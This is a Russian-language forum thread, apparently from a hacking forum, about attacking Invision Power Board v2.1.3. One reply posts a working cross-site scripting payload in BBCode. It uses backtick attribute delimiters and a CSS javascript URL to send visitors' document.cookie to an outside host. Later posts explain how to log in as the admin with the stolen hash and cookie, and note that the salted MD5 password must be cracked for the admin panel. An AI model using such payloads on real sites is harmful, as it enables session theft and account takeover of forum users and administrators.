|
Вопрос про уязвимости в IPB v2.1.3
Не подскажите какие уязвимости присутствуют в Invision Power Board (Free Trial) v2.1.3 © 2005 а то ни где не нашёл!
|
Код HTML:
[email]wj@wj[url=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);` |
Спасибо попробую
|
А как от этого защитится ?
|
ребята, вставляю хеш и ид админа в куки (речь идет о ипб 2.1.3) но всё ровно не могу зайти под админом, хотя в ипб 1.3 всё отлично работает. в чём дело не подскажете?
|
Потому что в 2.х в админке еще раз проверяеться пасс...
тебе надо пасс админа а не кго куки. а так как это 2.х ты не разшифруеш мд5 без соли... разшифровывай и заходи в админку |
Цитата:
|
Цитата:
wj@wj - leviy email http://www.wj.com - leviy url a za4em tam `=`? nu dalwe vrode vse ponatno... pasipa |
` - это символ обратного апострофа, он является ограничителем атрибутов, но только в IE.
|
Эти адреса не важны вообще: можешь поставить вместо их что-угодно.
|
| Время: 21:15 |